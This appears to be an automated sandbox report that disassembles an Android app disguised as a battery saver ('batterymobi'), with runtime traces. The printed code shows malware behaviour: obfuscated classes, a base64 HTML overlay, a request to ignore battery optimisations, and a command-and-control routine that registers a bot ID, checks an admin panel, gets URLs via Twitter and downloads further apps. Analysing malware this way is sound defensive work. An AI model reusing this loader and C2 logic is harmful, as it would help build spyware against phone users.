          133const-string v1, "PGh0bWw+Cjxib2R5IGJnY29sb3I9JyNkY2RmZTAnPgo8ZGl2IHN0eWxlPSdjb2xvcjojMTQyYjJiOyBtYXJnaW4tbGVmdDoxOHB4OyBtYXJnaW4tcmlnaHQ6IDE4cHg7IG1hcmdpbi10b3A6IDUwcHg7IGZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmLEFwcGxlIENvbG9yIEVtb2ppLFNlZ29lIFVJIEVtb2ppLFNlZ29lIFVJIFN5bWJvbCxOb3RvIENvbG9yIEVtb2ppOyc+CiAgPGltZyAgd2lkdGg9IjM2IiBoZWlnaHQ9IjM2IiAgc3JjPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQWdBQUFBSUFDQVlBQUFEMGVOVDZBQUFTQVVsRVFWUjQydTNkNisvV2N4Z0g4SnRLU3Rhc1ZRcHRObVBKcGd4RkJ6T245UWpGTk5OeUdwdlRBMG1VSEpQb1FIS1dpS2pVUEVGcTAycGo1RERVQTRjL3dTTVAvQUY4N25VL3NNOStXdlQ5M3ZmbmUxK3YxL2IrQjF4ZDc4L1YvZnU1YTdVQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNDRzVWeWNjb3RLVXRUVnFhOG5MSXBaWHZLam45a2U1WVBzMnpMc2pYTGxpd2ZESkQzczJ6TzhsNldkN05zeXZKT2xyZXpiTXp5VnBZTkErVE5MRzlrZVQzTGExbGV6ZkpLbHBlenZKUmxmWllYQjhpNkxDOWtlVDdMMml4cnNxek9zaXJMYzFtZUhTQXJzenlUWlVXV3A3TXN6L0pVbGllelBKSGw4U3lQRFpCSHN5ekw4a2lXcFZtV1pIazR5K0tVaFNuM3BNeFBtWjB5T1dXa0tnTHFOTGp6MkxlTDYvT0Y2My83UzBUS1NkckxQWjJEYWs3S2FKVU
          135invoke-virtual {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          136return-void
          APIs
          • android.support.v7.app.c.onCreate
          • com.android.internal.policy.impl.PhoneWindow.setContentView
          • com.saver.batterymobi.MainActivity.findViewById
          • com.saver.batterymobi.MainActivity.b
          • com.saver.batterymobi.MainActivity.findViewById
          • com.saver.batterymobi.MainActivity.k
          • com.saver.batterymobi.MainActivity.a
          • java.lang.String.equals
          • android.widget.ImageButton.setImageResource
          • com.saver.batterymobi.MainActivity.a
          • android.widget.ImageButton.setImageResource
          • java.lang.String.contains
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.MainActivity.startActivity
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.MainActivity.startActivity
          • android.widget.ImageButton.setOnClickListener
          Strings
          • btn
          • 0
          • 1
          • initialization
          • good
          • Initialization been 2!
          • Initialization Start 1!
          • ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}
          • No permission Storage or Doze Mode
          • ERROR {Permission}
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate(Landroid/os/Bundle;)V
          2const p1, 0x7f09001c
          4invoke-virtual {p0, p1}, Lcom/saver/batterymobi/MainActivity;->setContentView(I)V
          • Time: 2716434126
            • This:
              • com.android.internal.policy.impl.PhoneWindow@358cb281
            • p0: android.support.v7.widget.ActionBarOverlayLayout{276f0c76 V.E..... ......I. 0,0-0,0 #7f070031 app:id/decor_content_parent}
          • Time: 2716434211
            • This:
              • android.support.v7.widget.ActionBarOverlayLayout{276f0c76 V.E..... ......I. 0,0-0,0 #7f070031 app:id/decor_content_parent}
            • p0: 16908290
            • Return:
              • android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          5const p1, 0x7f070022
          7invoke-virtual {p0, p1}, Lcom/saver/batterymobi/MainActivity;->findViewById(I)Landroid/view/View;
          8move-result-object p1
          9check-cast p1, Landroid/widget/ImageButton;
          10iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          12invoke-virtual {p0, p0}, Lcom/saver/batterymobi/MainActivity;->b(Landroid/content/Context;)V
          13const p1, 0x7f070047
          15invoke-virtual {p0, p1}, Lcom/saver/batterymobi/MainActivity;->findViewById(I)Landroid/view/View;
          16move-result-object p1
          17check-cast p1, Landroid/widget/ImageView;
          18iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->s:Landroid/widget/ImageView;
          19const p1, 0x7f070089
          21invoke-virtual {p0, p1}, Lcom/saver/batterymobi/MainActivity;->findViewById(I)Landroid/view/View;
          22move-result-object p1
          23check-cast p1, Landroid/widget/TextView;
          24iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->q:Landroid/widget/TextView;
          25const p1, 0x7f07008a
          27invoke-virtual {p0, p1}, Lcom/saver/batterymobi/MainActivity;->findViewById(I)Landroid/view/View;
          28move-result-object p1
          29check-cast p1, Landroid/widget/TextView;
          30iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->r:Landroid/widget/TextView;
          32invoke-direct {p0}, Lcom/saver/batterymobi/MainActivity;->k()V
          33try_start_3b:
          34const-string p1, "btn"
          36invoke-virtual {p0, p0, p1}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          37move-result-object p1
          38iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          40iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          41if-nez p1, :cond_5e
          43const-string p1, "btn"
          45const-string v0, "0"
          47invoke-virtual {p0, p0, p1, v0}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          49const-string p1, "0"
          50iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          51try_end_52: goto/16 :goto_5e
          52catch_53:
          53const-string p1, "btn"
          55const-string v0, "0"
          57invoke-virtual {p0, p0, p1, v0}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          59const-string p1, "0"
          60iput-object p1, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          61goto_5e:
          62iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          64const-string v0, "1"
          66invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          67move-result p1
          68if-eqz p1, :cond_74
          70iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          71const v0, 0x7f060059
          73invoke-virtual {p1, v0}, Landroid/widget/ImageButton;->setImageResource(I)V
          75invoke-virtual {p0, p0}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;)V
          76goto/16 :goto_7c
          77cond_74:
          78iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          79const v0, 0x7f060058
          81invoke-virtual {p1, v0}, Landroid/widget/ImageButton;->setImageResource(I)V
          82goto_7c:
          83iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          85const-string v0, "initialization"
          87invoke-virtual {p1, p0, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          88move-result-object p1
          90const-string v0, "good"
          92invoke-virtual {p1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          93move-result p1
          94if-eqz p1, :cond_a4
          96iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          98iget-object v0, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          100const-string v1, "Initialization been 2!"
          102invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          103try_end_95: goto/16 :goto_a4
          104catch_96:
          105iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          107iget-object v0, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          109const-string v1, "Initialization Start 1!"
          111invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          113iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          115invoke-virtual {p1, p0}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;)V
          116cond_a4:
          117iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          119const-string p1, ""
          120const-wide/16 v0, 0x2710
          122invoke-static {p0, p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;J)V
          123const/high16 p1, 0x40000000 # 2.0f
          124const/high16 v0, 0x10000000
          125try_start_b1:
          126iget-object v1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          128invoke-virtual {v1, p0}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          129move-result v1
          130if-nez v1, :cond_d3
          131new-instance v1, Landroid/content/Intent;
          132const-class v2, Lcom/saver/batterymobi/lkj/zxs/frw;
          134invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          136invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          138invoke-virtual {v1, p1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          140invoke-virtual {p0, v1}, Lcom/saver/batterymobi/MainActivity;->startActivity(Landroid/content/Intent;)V
          141try_end_c9: goto/16 :goto_d3
          142catch_ca:
          143iget-object v1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          145iget-object v2, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          147const-string v3, "ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}"
          149invoke-virtual {v1, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          150try_start_d3:
          151iget-object v1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          153invoke-virtual {v1, p0}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          154move-result v1
          155if-nez v1, :cond_fe
          157iget-object v1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          159iget-object v2, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          161const-string v3, "No permission Storage or Doze Mode"
          163invoke-virtual {v1, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          164new-instance v1, Landroid/content/Intent;
          165const-class v2, Lcom/saver/batterymobi/lkj/zxs/kgr;
          167invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          169invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          171invoke-virtual {v1, p1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          173invoke-virtual {p0, v1}, Lcom/saver/batterymobi/MainActivity;->startActivity(Landroid/content/Intent;)V
          174try_end_f4: goto/16 :goto_fe
          175catch_f5:
          176iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          178iget-object v0, p0, Lcom/saver/batterymobi/MainActivity;->p:Ljava/lang/String;
          180const-string v1, "ERROR {Permission}"
          182invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          183goto_fe:
          184iget-object p1, p0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          185new-instance v0, Lcom/saver/batterymobi/MainActivity$2;
          187invoke-direct {v0, p0}, Lcom/saver/batterymobi/MainActivity$2;-><init>(Lcom/saver/batterymobi/MainActivity;)V
          189invoke-virtual {p1, v0}, Landroid/widget/ImageButton;->setOnClickListener(Landroid/view/View$OnClickListener;)V
          190return-void
          Cross References
          APIs
          • android.app.ReceiverRestrictedContext.getSystemService
          • android.app.ActivityManager.getRunningServices
          • java.util.List.iterator
          • java.util.Iterator.hasNext
          • java.util.Iterator.next
          • java.lang.Class.getName
          • android.content.ComponentName.getClassName
          • java.lang.String.equals
          Strings
          • activity
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"(",
          3"Landroid/content/Context;",
          4"Ljava/lang/Class<",
          5"*>;)Z"
          6}
          7.end annotation
          9const-string v0, "activity"
          11invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          • Time: 2716446989
            • This:
              • android.app.ReceiverRestrictedContext@afd0971
            • p0: activity
            • Return:
              • android.app.ActivityManager@1ae9ee2
          12move-result-object p1
          13check-cast p1, Landroid/app/ActivityManager;
          14const v0, 0x7fffffff
          16invoke-virtual {p1, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
          17move-result-object p1
          19invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
          20move-result-object p1
          21cond_13:
          22invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
          23move-result v0
          24if-eqz v0, :cond_31
          26invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
          27move-result-object v0
          28check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
          30invoke-virtual {p2}, Ljava/lang/Class;->getName()Ljava/lang/String;
          31move-result-object v1
          33iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
          35invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
          36move-result-object v0
          38invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          39move-result v0
          40if-eqz v0, :cond_13
          41const/4 p1, 0x1
          42return p1
          43cond_31: const/4 p1, 0x0
          44return p1
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.getClass
          • android.content.Context.getSharedPreferences
          • android.content.SharedPreferences.edit
          • android.content.SharedPreferences$Editor.putString
          • android.content.SharedPreferences$Editor.commit
          Strings
          • settings
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434334
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          5const-string v0, "settings"
          6const/4 v1, 0x0
          8invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
          9move-result-object p1
          11invoke-interface {p1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
          12move-result-object p1
          14invoke-interface {p1, p2, p3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
          16invoke-interface {p1}, Landroid/content/SharedPreferences$Editor;->commit()Z
          17return-void
          Cross References
          APIs
          • com.saver.batterymobi.MainActivity.checkCallingOrSelfPermission
          Strings
          • android.permission.WRITE_EXTERNAL_STORAGE
          Position Instruction Meta Information
          1invoke-virtual {p1, p2}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
          • Time: 2716434477
            • This:
              • com.saver.batterymobi.MainActivity@28d90cd8
            • p0: android.permission.WRITE_EXTERNAL_STORAGE
            • Return:
              • 0
          2move-result p1
          3if-eqz p1, :cond_8
          4const/4 p1, 0x0
          5return p1
          6cond_8: const/4 p1, 0x1
          7return p1
          Cross References
          APIs
          • com.saver.batterymobi.lkj.a.getClass
          Position Instruction Meta Information
          1iget-object p1, p0, Lcom/saver/batterymobi/lkj/a/c;->a:Lcom/saver/batterymobi/lkj/a;
          3invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          • Time: 2716434326
            • This:
              • com.saver.batterymobi.lkj.a@15ecfe5
            • Return:
              • class com.saver.batterymobi.lkj.a
              • getName: com.saver.batterymobi.lkj.a
          4return-void

          113 Non-Executed Methods

          Cross References
          APIs
          • java.lang.Object.getClass
          • java.lang.String.contains
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.String.contains
          • java.lang.Object.getClass
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.String.equals
          • java.lang.String.contains
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.String.contains
          • java.lang.Object.getClass
          • java.lang.String.contains
          • com.saver.batterymobi.lkj.jgj.esd.getSystemService
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.Object.getClass
          • java.lang.StringBuilder.append
          • android.telephony.TelephonyManager.getNetworkCountryIso
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.String.contains
          • java.lang.String.split
          • java.lang.Object.getClass
          • java.lang.String.contains
          • java.lang.Object.getClass
          Strings
          • -------------------checkAdminPanel-------------------
          • idbot
          • statusInstall
          • true
          • operation=statusinstall&data=
          • :
          • ||ok||
          • false
          • operation=checkbot&data=
          • (checkbot)Response:
          • operation=checkpanel&data=0
          • **1**1**1**
          • getUrlTwitter:
          • https://
          • http://
          • urlAdminPanel
          • Error twitter
          • ||no||
          • phone
          • operation=registration&data=
          • battery2
          • (registration)Response:
          • ::apk::
          • ::
          • urlDownloadApp
          • fileMd5
          • packageApp
          • startLoader
          • ::kill::
          • kill
          • dead
          • Error checkAdminPanel
          Position Instruction Meta Information
          0try_start_0:
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          3sget-object v1, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          5const-string v2, "-------------------checkAdminPanel-------------------"
          7invoke-virtual {v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          9iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          11iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          13invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          15const-string v1, "idbot"
          17invoke-virtual {v0, p1, v1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          18move-result-object v0
          20iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          22invoke-virtual {v1, p1}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          23move-result v1
          25iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          27invoke-virtual {v2, p1}, Lcom/saver/batterymobi/lkj/a/c;->d(Landroid/content/Context;)Z
          28move-result v2
          30iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          32iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          34invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          36const-string v4, "statusInstall"
          38invoke-virtual {v3, p1, v4}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          39move-result-object v3
          41const-string v4, "true"
          43invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          44move-result v3
          45if-eqz v3, :cond_9f
          47iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          48new-instance v4, Ljava/lang/StringBuilder;
          50invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
          52const-string v5, "operation=statusinstall&data="
          54invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          56iget-object v5, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          57new-instance v6, Ljava/lang/StringBuilder;
          59invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
          61invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          63const-string v7, ":"
          65invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          67invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          69const-string v7, ":"
          71invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          73invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          75const-string v7, ":"
          77invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          79iget-object v7, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          81invoke-virtual {v7, p1}, Lcom/saver/batterymobi/lkj/a/c;->c(Landroid/content/Context;)Ljava/lang/String;
          82move-result-object v7
          84invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          86const-string v7, ":"
          88invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          90invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          91move-result-object v6
          93invoke-virtual {v5, v6}, Lcom/saver/batterymobi/lkj/a/c;->c(Ljava/lang/String;)Ljava/lang/String;
          94move-result-object v5
          96invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          98invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          99move-result-object v4
          101invoke-virtual {v3, p0, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          102move-result-object v3
          104iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          106invoke-virtual {v4, v3}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;)Ljava/lang/String;
          107move-result-object v3
          109const-string v4, "||ok||"
          111invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          112move-result v3
          113if-eqz v3, :cond_9f
          115iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          117iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          119invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          121const-string v4, "statusInstall"
          123const-string v5, "false"
          125invoke-virtual {v3, p0, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          126cond_9f:
          127iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          128new-instance v4, Ljava/lang/StringBuilder;
          130invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
          132const-string v5, "operation=checkbot&data="
          134invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          136iget-object v5, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          137new-instance v6, Ljava/lang/StringBuilder;
          139invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
          141invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          143const-string v7, ":"
          145invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          147invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          149const-string v1, ":"
          151invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          153invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          155const-string v1, ":"
          157invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          159iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          161invoke-virtual {v1, p1}, Lcom/saver/batterymobi/lkj/a/c;->c(Landroid/content/Context;)Ljava/lang/String;
          162move-result-object v1
          164invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          166const-string v1, ":"
          168invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          170invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          171move-result-object v1
          173invoke-virtual {v5, v1}, Lcom/saver/batterymobi/lkj/a/c;->c(Ljava/lang/String;)Ljava/lang/String;
          174move-result-object v1
          176invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          178invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          179move-result-object v1
          181invoke-virtual {v3, p0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          182move-result-object v1
          184iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          186invoke-virtual {v2, v1}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;)Ljava/lang/String;
          187move-result-object v1
          189iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          191sget-object v3, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          192new-instance v4, Ljava/lang/StringBuilder;
          194invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
          196const-string v5, "(checkbot)Response: "
          198invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          200invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          202invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          203move-result-object v4
          205invoke-virtual {v2, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          207const-string v2, ""
          209invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          210move-result v2
          211try_end_10f: if-eqz v2, :cond_16b
          212try_start_111:
          213iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          215const-string v3, "operation=checkpanel&data=0"
          217invoke-virtual {v2, p0, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          218move-result-object v2
          220iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          222invoke-virtual {v3, v2}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;)Ljava/lang/String;
          223move-result-object v2
          225const-string v3, "**1**1**1**"
          227invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          228move-result v2
          229if-nez v2, :cond_16b
          231iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
